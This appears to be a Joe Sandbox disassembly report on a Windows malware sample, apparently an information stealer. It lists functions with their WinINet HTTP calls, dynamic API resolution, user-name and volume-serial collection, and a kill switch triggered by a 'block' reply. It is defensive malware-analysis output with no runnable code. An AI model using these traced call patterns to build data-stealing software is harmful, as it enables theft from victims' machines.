Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: ,y$ Nv$(Iv$(Jv$8,y$H+y$HGv$NtQueryInformationProcess$P,y$X*y$X~v$`Ov$h,y$p~v$*y$Gv$Hv$~v
API String ID: 2238633743-1813011027
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 00404880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,0079B138), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,0079B148), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,0079B248,?,0079ABA0,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 004049BD
------, xrefs: 00404B28
", xrefs: 00404D33
", xrefs: 00404BF2
------, xrefs: 00404C69
HJy, xrefs: 00404B9F, 00404CE0

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$HJy
API String ID: 2402878923-2052426667
Opcode ID: 2fa3b394260d3a3ce02c259ddf44f2a63f4c64190c2de6d978015daa5b68762b
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 2fa3b394260d3a3ce02c259ddf44f2a63f4c64190c2de6d978015daa5b68762b
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 256.2, APIs: 112, Strings: 34, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00764948), ref: 00419C2D
GetProcAddress.KERNEL32(75900000,00764968), ref: 00419C45
GetProcAddress.KERNEL32(75900000,00792D10), ref: 00419C5E
GetProcAddress.KERNEL32(75900000,00792CC8), ref: 00419C76
GetProcAddress.KERNEL32(75900000,00792D28), ref: 00419C8E
GetProcAddress.KERNEL32(75900000,00792CF8), ref: 00419CA7
GetProcAddress.KERNEL32(75900000,00795078), ref: 00419CBF
GetProcAddress.KERNEL32(75900000,00792D58), ref: 00419CD7
GetProcAddress.KERNEL32(75900000,00792D70), ref: 00419CF0
GetProcAddress.KERNEL32(75900000,00792CE0), ref: 00419D08
GetProcAddress.KERNEL32(75900000,00792D88), ref: 00419D20
GetProcAddress.KERNEL32(75900000,00764728), ref: 00419D39
GetProcAddress.KERNEL32(75900000,00764A68), ref: 00419D51
GetProcAddress.KERNEL32(75900000,00764768), ref: 00419D69
GetProcAddress.KERNEL32(75900000,00764788), ref: 00419D82
GetProcAddress.KERNEL32(75900000,00799220), ref: 00419D9A
GetProcAddress.KERNEL32(75900000,007991C0), ref: 00419DB2
GetProcAddress.KERNEL32(75900000,00794DF8), ref: 00419DCB
GetProcAddress.KERNEL32(75900000,00764808), ref: 00419DE3
GetProcAddress.KERNEL32(75900000,007991D8), ref: 00419DFB
GetProcAddress.KERNEL32(75900000,007991F0), ref: 00419E14
GetProcAddress.KERNEL32(75900000,00799250), ref: 00419E2C
GetProcAddress.KERNEL32(75900000,00799208), ref: 00419E44
GetProcAddress.KERNEL32(75900000,00764828), ref: 00419E5D
GetProcAddress.KERNEL32(75900000,00799238), ref: 00419E75
GetProcAddress.KERNEL32(75900000,00799190), ref: 00419E8D
GetProcAddress.KERNEL32(75900000,007991A8), ref: 00419EA6
GetProcAddress.KERNEL32(75900000,00798ED8), ref: 00419EBE
GetProcAddress.KERNEL32(75900000,00798FE0), ref: 00419ED6
GetProcAddress.KERNEL32(75900000,00799028), ref: 00419EEF
GetProcAddress.KERNEL32(75900000,00798EA8), ref: 00419F07
GetProcAddress.KERNEL32(75900000,00799130), ref: 00419F1F
GetProcAddress.KERNEL32(75900000,00798FB0), ref: 00419F38
GetProcAddress.KERNEL32(75900000,007949E8), ref: 00419F50
GetProcAddress.KERNEL32(75900000,00799070), ref: 00419F68
GetProcAddress.KERNEL32(75900000,00799040), ref: 00419F81
GetProcAddress.KERNEL32(75900000,00764848), ref: 00419F99
GetProcAddress.KERNEL32(75900000,007990D0), ref: 00419FB1
GetProcAddress.KERNEL32(75900000,00764868), ref: 00419FCA
GetProcAddress.KERNEL32(75900000,00799058), ref: 00419FE2
GetProcAddress.KERNEL32(75900000,00798F68), ref: 00419FFA
GetProcAddress.KERNEL32(75900000,00764888), ref: 0041A013
GetProcAddress.KERNEL32(75900000,00764528), ref: 0041A02B
LoadLibraryA.KERNEL32(00799088,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(00799178,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(00798EF0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(007990B8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(00799010,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(007990A0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(00798F98,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(007990E8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75FD0000,00764548), ref: 0041A0DA
GetProcAddress.KERNEL32(75FD0000,00799100), ref: 0041A0F2
GetProcAddress.KERNEL32(75FD0000,00792E50), ref: 0041A10A
GetProcAddress.KERNEL32(75FD0000,00798F08), ref: 0041A123
GetProcAddress.KERNEL32(75FD0000,00764568), ref: 0041A13B
GetProcAddress.KERNEL32(734B0000,00794E98), ref: 0041A160
GetProcAddress.KERNEL32(734B0000,00764388), ref: 0041A179
GetProcAddress.KERNEL32(734B0000,00794E20), ref: 0041A191
GetProcAddress.KERNEL32(734B0000,00799118), ref: 0041A1A9
GetProcAddress.KERNEL32(734B0000,00798FC8), ref: 0041A1C2
GetProcAddress.KERNEL32(734B0000,007645A8), ref: 0041A1DA
GetProcAddress.KERNEL32(734B0000,007642E8), ref: 0041A1F2
GetProcAddress.KERNEL32(734B0000,00798F50), ref: 0041A20B
GetProcAddress.KERNEL32(763B0000,007642C8), ref: 0041A22C
GetProcAddress.KERNEL32(763B0000,00764588), ref: 0041A244
GetProcAddress.KERNEL32(763B0000,00798E90), ref: 0041A25D
GetProcAddress.KERNEL32(763B0000,00798EC0), ref: 0041A275
GetProcAddress.KERNEL32(763B0000,00764308), ref: 0041A28D
GetProcAddress.KERNEL32(750F0000,00794D08), ref: 0041A2B3
GetProcAddress.KERNEL32(750F0000,007950A0), ref: 0041A2CB
GetProcAddress.KERNEL32(750F0000,00798F80), ref: 0041A2E3
GetProcAddress.KERNEL32(750F0000,007644A8), ref: 0041A2FC
GetProcAddress.KERNEL32(750F0000,007645E8), ref: 0041A314
GetProcAddress.KERNEL32(750F0000,00794F60), ref: 0041A32C
GetProcAddress.KERNEL32(75A50000,00798FF8), ref: 0041A352
GetProcAddress.KERNEL32(75A50000,007644E8), ref: 0041A36A
GetProcAddress.KERNEL32(75A50000,00792EF0), ref: 0041A382
GetProcAddress.KERNEL32(75A50000,00799148), ref: 0041A39B
GetProcAddress.KERNEL32(75A50000,00799160), ref: 0041A3B3
GetProcAddress.KERNEL32(75A50000,00764488), ref: 0041A3CB
GetProcAddress.KERNEL32(75A50000,00764328), ref: 0041A3E4
GetProcAddress.KERNEL32(75A50000,00798F20), ref: 0041A3FC
GetProcAddress.KERNEL32(75A50000,00798F38), ref: 0041A414
GetProcAddress.KERNEL32(75070000,007643A8), ref: 0041A436
GetProcAddress.KERNEL32(75070000,007992F8), ref: 0041A44E
GetProcAddress.KERNEL32(75070000,007993A0), ref: 0041A466
GetProcAddress.KERNEL32(75070000,00799310), ref: 0041A47F
GetProcAddress.KERNEL32(75070000,00799328), ref: 0041A497
GetProcAddress.KERNEL32(74E50000,007644C8), ref: 0041A4B8
GetProcAddress.KERNEL32(74E50000,00764448), ref: 0041A4D1
GetProcAddress.KERNEL32(75320000,00764468), ref: 0041A4F2
GetProcAddress.KERNEL32(75320000,00799430), ref: 0041A50A
GetProcAddress.KERNEL32(6F070000,00764508), ref: 0041A530
GetProcAddress.KERNEL32(6F070000,00764608), ref: 0041A548
GetProcAddress.KERNEL32(6F070000,00764348), ref: 0041A560
GetProcAddress.KERNEL32(6F070000,007994F0), ref: 0041A579
GetProcAddress.KERNEL32(6F070000,00764628), ref: 0041A591
GetProcAddress.KERNEL32(6F070000,007645C8), ref: 0041A5A9
GetProcAddress.KERNEL32(6F070000,00764368), ref: 0041A5C2
GetProcAddress.KERNEL32(6F070000,00764648), ref: 0041A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(74E00000,00799340), ref: 0041A629
GetProcAddress.KERNEL32(74E00000,00792F30), ref: 0041A641
GetProcAddress.KERNEL32(74E00000,00799508), ref: 0041A659
GetProcAddress.KERNEL32(74E00000,00799358), ref: 0041A672
GetProcAddress.KERNEL32(74DF0000,00764668), ref: 0041A693
GetProcAddress.KERNEL32(6FA90000,00799370), ref: 0041A6B4
GetProcAddress.KERNEL32(6FA90000,00764688), ref: 0041A6CD
GetProcAddress.KERNEL32(6FA90000,00799388), ref: 0041A6E5
GetProcAddress.KERNEL32(6FA90000,007992B0), ref: 0041A6FD

Strings

hJv, xrefs: 00419D44
HDv, xrefs: 0041A4C3
Dv, xrefs: 0041A35D
`Oy, xrefs: 0041A31F
,y, xrefs: 00419CFB
HCv, xrefs: 0041A553
(Ev, xrefs: 0041A01E
p-y, xrefs: 00419CE2
InternetSetOptionA, xrefs: 0041A5E5
hEv, xrefs: 0041A12E
HEv, xrefs: 0041A0CC
hFv, xrefs: 0041A686
xPy, xrefs: 00419CB2
Ny, xrefs: 0041A184
X-y, xrefs: 00419CCA
0/y, xrefs: 0041A634
P.y, xrefs: 0041A0FD
Ev, xrefs: 0041A307
Bv, xrefs: 0041A1E5
HHv, xrefs: 00419F8C
(Hv, xrefs: 00419E4F
(Gv, xrefs: 00419D2B
hHv, xrefs: 00419FBC
HFv, xrefs: 0041A5CD
(Fv, xrefs: 0041A584
hCv, xrefs: 0041A5B4
hIv, xrefs: 00419C38
Iy, xrefs: 00419F43
HttpQueryInfoA, xrefs: 0041A5FC
hDv, xrefs: 0041A4E5
hGv, xrefs: 00419D5C
(-y, xrefs: 00419C81
(Cv, xrefs: 0041A3D6
HIv, xrefs: 00419C20

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: Ny$(-y$(Cv$(Ev$(Fv$(Gv$(Hv$0/y$HCv$HDv$HEv$HFv$HHv$HIv$HttpQueryInfoA$InternetSetOptionA$P.y$X-y$`Oy$hCv$hDv$hEv$hFv$hGv$hHv$hIv$hJv$p-y$xPy$,y$Bv$Dv$Ev$Iy
API String ID: 2238633743-325470272
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00415510 Relevance: 28.4, APIs: 7, Strings: 9, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00792F70,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415636
`.y, xrefs: 004156C5, 0041572A
ERROR, xrefs: 0041577D
ERROR, xrefs: 00415693
ERROR, xrefs: 004159FE
ERROR, xrefs: 00415849
p.y, xrefs: 004155F3, 004157E8
ERROR, xrefs: 00415932
0.y, xrefs: 004158EF, 00415A34

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: 0.y$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$`.y$p.y
API String ID: 3630751533-2488558467
Opcode ID: 497b44604cdb86425a2f1df15548df3ba7e7c57ddf51101f201cba8e249eba1a
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 497b44604cdb86425a2f1df15548df3ba7e7c57ddf51101f201cba8e249eba1a
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,0079B138), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,0079ABA0,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

GET, xrefs: 0040637C
ERROR, xrefs: 004064C9
ERROR, xrefs: 00406407

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: c8a6f04fdac549dd7e3b25e171be04d87dad98b8dac672af1d85c5c8f489a90f
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: c8a6f04fdac549dd7e3b25e171be04d87dad98b8dac672af1d85c5c8f489a90f
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1
strtok_s.MSVCRT ref: 004117E8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: b3dd8198764fe9467e4b2c8b9506a85e5c70b97dc7c09ae6ead8ebf8a0dcb198
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: b3dd8198764fe9467e4b2c8b9506a85e5c70b97dc7c09ae6ead8ebf8a0dcb198
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

C, xrefs: 0041754C
:, xrefs: 0041755C
\, xrefs: 00417560

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

